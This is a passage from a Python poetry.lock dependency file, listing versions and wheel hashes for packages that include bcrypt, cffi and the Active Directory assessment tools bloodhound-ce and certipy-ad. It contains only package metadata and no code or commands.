"bcrypt-4.2.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:687cf30e6681eeda39548a93ce9bfbb300e48b4d445a43db4298d2474d2a1e54"}, {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:041fa0155c9004eb98a232d54da05c0b41d4b8e66b6fc3cb71b4b3f6144ba837"}, {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f85b1ffa09240c89aa2e1ae9f3b1c687104f7b2b9d2098da4e923f1b7082d331"}, {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c6f5fa3775966cca251848d4d5393ab016b3afed251163c1436fefdec3b02c84"}, {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:807261df60a8b1ccd13e6599c779014a362ae4e795f5c59747f60208daddd96d"}, {file = "bcrypt-4.2.1-cp39-abi3-win32.whl", hash = "sha256:b588af02b89d9fad33e5f98f7838bf590d6d692df7153647724a7f20c186f6bf"}, {file = "bcrypt-4.2.1-cp39-abi3-win_amd64.whl", hash = "sha256:e84e0e6f8e40a242b11bce56c313edc2be121cec3e0ec2d76fce01f6af33c07c"}, {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:76132c176a6d9953cdc83c296aeaed65e1a708485fd55abf163e0d9f8f16ce0e"}, {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e158009a54c4c8bc91d5e0da80920d048f918c61a581f0a63e4e93bb556d362f"}, {file = "bcrypt-4.2.1.tar.gz", hash = "sha256:6765386e3ab87f569b276988742039baab087b2cdb01e809d74e74503c2faafe"}, ] [package.extras] tests = ["pytest (>=3.2.1,!=3.3.0)"] typecheck = ["mypy"] [[package]] name = "beautifulsoup4" version = "4.13.4" description = "Screen-scraping library" optional = false python-versions = ">=3.7.0" groups = ["main"] files = [ {file = "beautifulsoup4-4.13.4-py3-none-any.whl", hash = "sha256:9bbbb14bfde9d79f38b8cd5f8c7c85f4b8f2523190ebed90e950a8dea4cb1c4b"}, {file = "beautifulsoup4-4.13.4.tar.gz", hash = "sha256:dbb3c4e1ceae6aefebdaf2423247260cd062430a410e38c66f2baa50a8437195"}, ] [package.dependencies] soupsieve = ">1.2" typing-extensions = ">=4.0.0" [package.extras] cchardet = ["cchardet"] chardet = ["chardet"] charset-normalizer = ["charset-normalizer"] html5lib = ["html5lib"] lxml = ["lxml"] [[package]] name = "bitstruct" version = "8.20.0" description = "This module performs conversions between Python values and C bit field structs represented as Python byte strings." optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "bitstruct-8.20.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7a33169c25eef4f923f8a396ef362098216f527e83e44c7e726c126c084944ab"}, {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7fec9cff575cdd9dafba9083fa8446203f32c7112af7a6748f315f974dcd418"}, {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:08835ebed9142babc39885fc0301f45fae9de7b1f3e78c1e3b4b5c2e20ff8d38"}, {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2b1735a9ae5ff82304b9f416051e986e3bffa76bc416811d598ee3e8e9b1f26c"}, {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9962bccebee15ec895fa8363ad4391e5314ef499b3e96af7d8ef6bf6e2f146ce"}, {file = "bitstruct-8.20.0-cp310-cp310-win32.whl", hash = "sha256:5f3c88ae5d4e329cefecc66b18269dc27cd77f2537a8d506b31f8b874225a5cc"}, {file = "bitstruct-8.20.0-cp310-cp310-win_amd64.whl", hash = "sha256:98640aeb709b67dcea79da7553668b96e9320ee7a11639c3fe422592727b1705"}, {file = "bitstruct-8.20.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3be9192bff6accb6c2eb4edd355901fed1e64cc50de437015ee1469faab436a4"}, {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9a2634563ed9c7229b0c6938a332b718e654f0494c2df87ee07f8074026ee68"}, {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4cf892b3c95393772eea4ab2a0e4ea2d7ec45742557488727bd6bfdd1d1e5007"}, {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:fc4a841126e2d89fd3ef579c2d8b02f8af31b5973b947afb91450ae8adf5caa4"}, {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0fbf434f70f827318f2aaa68c6cf2fde58ab34a5ab1c6d9f0f4b9f953f058584"}, {file = "bitstruct-8.20.0-cp311-cp311-win32.whl", hash = "sha256:0b0444a713f4f7e13927427e9ff5ed73bb4223c8074141adfc3e0bfbe63e092d"}, {file = "bitstruct-8.20.0-cp311-cp311-win_amd64.whl", hash = "sha256:8271b3851657fe1066cb04ddc30e14a8492bdd18fa287514506af0801babd494"}, {file = "bitstruct-8.20.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5df3ce5f4dd517be68e4b2d8ab37a564e12d5e24ec29039a3535281174a75284"}, {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac0bb940fa9238c05796d45fb957ddf2e10d82ee8fd8cd43c5e367a9c380b24c"}, {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73eb7f0b6031c7819c12412c71af07cfac036da22a9245b7a1669a1f11fe1220"}, {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ea7b64a444bf592712593a9f3bf1cb37588fae257aeb40d2ea427e17ef3d690c"}, {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4dad0231810bc3ef4e5154d6d6f7d62cc3efe2b9e9e6126002f105297284af3"}, {file = "bitstruct-8.20.0-cp312-cp312-win32.whl", hash = "sha256:8ca1cc21ae72bbefee4471054e6a993b74f4571716eded73c3d3b6280dc831fd"}, {file = "bitstruct-8.20.0-cp312-cp312-win_amd64.whl", hash = "sha256:b3732bed3c8b190dee071c2222304ef668f665fbdbeef19c9aeed50fbe1a3d48"}, {file = "bitstruct-8.20.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b62fab3f38c09f5d61c83559cfc495b56de6dc424c3ccb1ff9f93457975b8c25"}, {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4df55aea3bf5c1970174191f04f575d657515b2ff26582e7a6475937b4e8176"}, {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f44afbce27ca0bd3fa96630c7a240bff167a7b66c05ac12ba9147ec001eee531"}, {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c3d19f85935613a7db42f0e848e278d33ed2b18629dd5cc0e391d0ee8ddb54b"}, {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d3f29bb701916a8bb885ccc0de77c6c4b3eaf81652916b3d0bcd7dd9ebdab799"}, {file = "bitstruct-8.20.0-cp313-cp313-win32.whl", hash = "sha256:a09f81cdeec264349a6e65597329a1cee461218b870f8113848126c2c6729025"}, {file = "bitstruct-8.20.0-cp313-cp313-win_amd64.whl", hash = "sha256:31e33cc7db403cd2441d4d1968c57334b2489ffe123cfc30d26eedf11063288e"}, {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:462f27fed30322c24007641ec2f2413a4778f564b30b45e3265f689cd84d43d7"}, {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c547a2cba2a94076dec3ef72229be641bbc320cb676a028db45202abb405b02"}, {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:aff38098efc9c6cbba8cd3f2b37aa8bf6169e3a53be2ec21c1c3166bdeae22d0"}, {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:31c64bf7ebda6d046fc3909287a6f7adcbbc1d1e50e463e3239798558f24bcfa"}, {file = "bitstruct-8.20.0-cp37-cp37m-win32.whl", hash = "sha256:67e9b21a3a5ca247e31168a81da94a27763e7a34c80c847d9266209ec70294c2"}, {file = "bitstruct-8.20.0-cp37-cp37m-win_amd64.whl", hash = "sha256:215acf2ecc2a65dcf4dec79d8e6ad98792d4ef4ae0b02aaf6b0dd678a6c11d02"}, {file = "bitstruct-8.20.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9dcbccadba78c9b3170db967a8559500e3eca821cd9f101a76c087cf01e1cdbd"}, {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6232fdf18689406369810a448181e9a2936f9d22707918394fc0cf5334c9fc1"}, {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7fe8c959beb3b9471bedc3af01467cedede72f2cf65614aa69a6651684926c4e"}, {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:2adcd545a8f8a90a2e84a21edc5763f3d3832ebddb7cc687b7650221cddfc19a"}, {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b3a4f0e443a9b4171b648b52c3003064cf31113f6203e08dc4ac225601d9249b"}, {file = "bitstruct-8.20.0-cp38-cp38-win32.whl", hash = "sha256:5618eaab857db6dafa26751af5b8c926541ce578f36608e50fa687127682af3c"}, {file = "bitstruct-8.20.0-cp38-cp38-win_amd64.whl", hash = "sha256:3eb8de0ad891b716ed97430e8b8603b6d875c5ddc5ebcd9c5288099c773a6bc9"}, {file = "bitstruct-8.20.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a063deb6b7b07906414ac460c807e483b6eea662abcb406c4ea6e2938c8fc21"}, {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0528f8da4cf919a3d4801603c4e5fc601b72b86955d37c51c8d7ddc69f291f0c"}, {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac783d0bc7c57bee2c8f8cda4c83d60236e7c046f6f454e76943f9e0fb16112"}, {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:a0482f8e2b73df16d080d5d8df23e2949c114e27acfeb659f0465ef8ce1da038"}, {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f6cc949e8030303b05728294b4feaca8c955150dd5042f66467da1dd18ff3410"}, {file = "bitstruct-8.20.0-cp39-cp39-win32.whl", hash = "sha256:3e5195cfe68952587a2fcb621b2ee766e78f5d2d5a1e94204ac302e3d3f441bc"}, {file = "bitstruct-8.20.0-cp39-cp39-win_amd64.whl", hash = "sha256:a7109b454a8cccc55e88165a903e5d9980e39f6f5268dc5ec5386ae96a89ff1b"}, {file = "bitstruct-8.20.0.tar.gz", hash = "sha256:f6b16a93097313f2a6c146640c93e5f988a39c33364f8c20a4286ac1c5ed5dae"}, ] [[package]] name = "blinker" version = "1.9.0" description = "Fast, simple object-to-object and broadcast signaling" optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc"}, {file = "blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf"}, ] [[package]] name = "bloodhound-ce" version = "1.8.0" description = "Python based ingestor for BloodHound Community Edition" optional = false python-versions = "*" groups = ["main"] files = [ {file = "bloodhound_ce-1.8.0-py3-none-any.whl", hash = "sha256:0d5f39c2ab157448313f6c0ea8afdcf081238682f445c81e065684395ba5484b"}, {file = "bloodhound_ce-1.8.0.tar.gz", hash = "sha256:f663d6181e2a1ab8de9d57948011662e2a47880d8caca9b85369a7efaed13a70"}, ] [package.dependencies] dnspython = "*" impacket = ">=0.9.17" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" pyasn1 = ">=0.4" pycryptodome = "*" [[package]] name = "certifi" version = "2025.1.31" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "certifi-2025.1.31-py3-none-any.whl", hash = "sha256:ca78db4565a652026a4db2bcdf68f2fb589ea80d0be70e03929ed730746b84fe"}, {file = "certifi-2025.1.31.tar.gz", hash = "sha256:3d5da6925056f6f18f119200434a4780a94263f10d1c21d032a6f6b2baa20651"}, ] [[package]] name = "certipy-ad" version = "5.0.3" description = "Active Directory Certificate Services enumeration and abuse" optional = false python-versions = ">=3.10" groups = ["main"] files = [] develop = false [package.dependencies] argcomplete = ">=3.6.2,<3.7.0" asn1crypto = ">=1.5.1,<1.6.0" beautifulsoup4 = ">=4.13.4,<4.14.0" cryptography = ">=42.0.8,<42.1.0" dnspython = ">=2.7.0,<2.8.0" httpx = ">=0.28.1,<0.29.0" impacket = ">=0.12.0" ldap3 = ">=2.9.1,<2.10.0" pyasn1 = ">=0.6.1,<0.7.0" pycryptodome = ">=3.22.0,<3.23.0" pyopenssl = ">=24.0.0,<24.1.0" requests = ">=2.32.3,<2.33.0" [package.extras] bloodhound = ["neo4j (>=5.28.1,<5.29.0)"] [package.source] type = "git" url = "https://github.com/Pennyw0rth/Certipy" reference = "HEAD" resolved_reference = "017dab8ff4d4447976b2a0c2b2203fd61b888681" [[package]] name = "cffi" version = "1.17.1" description = "Foreign Function Interface for Python calling C code." optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, ] [package.dependencies] pycparser = "*" [[package]] name = "charset-normalizer" version = "3.4.1" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "charset_normalizer-3.4.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:91b36a978b5ae0ee86c394f5a54d6ef44db1de0815eb43de826d41d21e4af3de"}, {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7461baadb4dc00fd9e0acbe254e3d7d2112e7f92ced2adc96e54ef6501c5f176"}, {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e218488cd232553829be0664c2292d3af2eeeb94b32bea483cf79ac6a694e037"}, {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:80ed5e856eb7f30115aaf94e4a08114ccc8813e6ed1b5efa74f9f82e8509858f"}, {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b010a7a4fd316c3c484d482922d13044979e78d1861f0e0650423144c616a46a"}, {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4532bff1b8421fd0a320463030c7520f56a79c9024a4e88f01c537316019005a"}, {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:d973f03c0cb71c5ed99037b870f2be986c3c05e63622c017ea9816881d2dd247"}, {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3a3bd0dcd373514dcec91c411ddb9632c0d7d92aed7093b8c3bbb6d69ca74408"}, {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:d9c3cdf5390dcd29aa8056d13e8e99526cda0305acc038b96b30352aff5ff2bb"}, {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = 